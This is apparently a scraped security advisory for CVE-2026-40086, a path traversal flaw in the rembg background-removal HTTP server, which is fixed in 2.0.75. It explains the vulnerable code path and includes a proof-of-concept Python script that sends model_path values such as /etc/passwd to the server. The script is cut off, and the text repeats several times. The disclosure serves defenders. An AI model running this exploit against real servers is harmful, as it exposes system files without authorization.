CVE-2026-40086

Rembg is a tool to remove images background. Prior to 2.0.75, a path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages. This vulnerability is fixed in 2.0.75.

Rembg is a tool to remove images background. Prior to 2.0.75, a path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages. This vulnerability is fixed in 2.0.75.

Summary

A path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.

CWE IDs: CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)

Details

Vulnerable Code Flow

The vulnerability exists in how the HTTP server handles the extras JSON parameter for custom model types (u2net_custom, dis_custom, ben_custom).

1. Entry Point - rembg/commands/s_command.py

def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:
    kwargs = {}
    if commons.extras:
        try:
            kwargs.update(json.loads(commons.extras))  # ❌ No validation
        except Exception:
            pass
    # ...
    session = new_session(commons.model, **kwargs)  # Passes arbitrary kwargs

The extras parameter is parsed as JSON and passed directly to new_session() without any validation.

2. Path Handling - rembg/sessions/u2net_custom.py

@classmethod
def download_models(cls, *args, **kwargs):
    model_path = kwargs.get("model_path")
    if model_path is None:
        raise ValueError("model_path is required")
    return os.path.abspath(os.path.expanduser(model_path))  # ❌ No path validation

The model_path is returned with tilde expansion but no validation against path traversal.

3. File Read - rembg/sessions/base.py

self.inner_session = ort.InferenceSession(
    str(self.__class__.download_models(*args, **kwargs)),  # Reads file
    # ...
)

The path is passed to onnxruntime.InferenceSession() which attempts to read and parse the file.

Root Cause

The custom model feature was designed for CLI usage where users already have local filesystem access. However, this feature is also exposed via the HTTP API without any restrictions, creating a security boundary violation.

PoC

Prerequisites

• Python 3.10+
• rembg installed with CLI support: pip install "rembg[cpu,cli]"

Step 1: Start the Vulnerable Server

Open a terminal and run:

rembg s --host 0.0.0.0 --port 7000

You should see output like:

To access the API documentation, go to http://localhost:7000/api
To access the UI, go to http://localhost:7000

Step 2: Send the Exploit Request

Open a second terminal and run this Python script:

import requests
import json
import urllib.parse
from io import BytesIO

# Minimal valid 1x1 PNG image (required for the request)
MINIMAL_PNG = bytes([
    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,
    0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
    0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
    0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,
    0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,
    0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,
    0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,
    0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,
    0x44, 0xAE, 0x42, 0x60, 0x82
])

# Target paths to test
test_paths = [
    "/etc/passwd",           # System file (should exist)
    "/nonexistent/file.txt", # Non-existent file
]

for path in test_paths:
    print(f"\n[*] Testing path: {path}")
    
    # Build request - extras must be in URL query string
    extras = json.dumps({"model_path": path})
    url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}"
    
    response = requests.post(
        url,
        files={"file": ("test.png",…

Rembg is a tool to remove images background. Prior to 2.0.75, a path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages. This vulnerability is fixed in 2.0.75.

Rembg is a tool to remove images background. Prior to 2.0.75, a path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages. This vulnerability is fixed in 2.0.75.

Summary

A path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.

CWE IDs: CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)

Details

Vulnerable Code Flow

The vulnerability exists in how the HTTP server handles the extras JSON parameter for custom model types (u2net_custom, dis_custom, ben_custom).

1. Entry Point - rembg/commands/s_command.py

def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:
    kwargs = {}
    if commons.extras:
        try:
            kwargs.update(json.loads(commons.extras))  # ❌ No validation
        except Exception:
            pass
    # ...
    session = new_session(commons.model, **kwargs)  # Passes arbitrary kwargs

The extras parameter is parsed as JSON and passed directly to new_session() without any validation.

2. Path Handling - rembg/sessions/u2net_custom.py

@classmethod
def download_models(cls, *args, **kwargs):
    model_path = kwargs.get("model_path")
    if model_path is None:
        raise ValueError("model_path is required")
    return os.path.abspath(os.path.expanduser(model_path))  # ❌ No path validation

The model_path is returned with tilde expansion but no validation against path traversal.

3. File Read - rembg/sessions/base.py

self.inner_session = ort.InferenceSession(
    str(self.__class__.download_models(*args, **kwargs)),  # Reads file
    # ...
)

The path is passed to onnxruntime.InferenceSession() which attempts to read and parse the file.

Root Cause

The custom model feature was designed for CLI usage where users already have local filesystem access. However, this feature is also exposed via the HTTP API without any restrictions, creating a security boundary violation.

PoC

Prerequisites

• Python 3.10+
• rembg installed with CLI support: pip install "rembg[cpu,cli]"

Step 1: Start the Vulnerable Server

Open a terminal and run:

rembg s --host 0.0.0.0 --port 7000

You should see output like:

To access the API documentation, go to http://localhost:7000/api
To access the UI, go to http://localhost:7000

Step 2: Send the Exploit Request

Open a second terminal and run this Python script:

import requests
import json
import urllib.parse
from io import BytesIO

# Minimal valid 1x1 PNG image (required for the request)
MINIMAL_PNG = bytes([
    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,
    0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
    0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
    0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,
    0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,
    0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,
    0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,
    0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,
    0x44, 0xAE, 0x42, 0x60, 0x82
])

# Target paths to test
test_paths = [
    "/etc/passwd",           # System file (should exist)
    "/nonexistent/file.txt", # Non-existent file
]

for path in test_paths:
    print(f"\n[*] Testing path: {path}")
    
    # Build request - extras must be in URL query string
    extras = json.dumps({"model_path": path})
    url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}"
    
    response = requests.post(
        url,
        files={"file": ("test.png",…

Rembg is a tool to remove images background. Prior to 2.0.75, a path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages. This vulnerability is fixed in 2.0.75.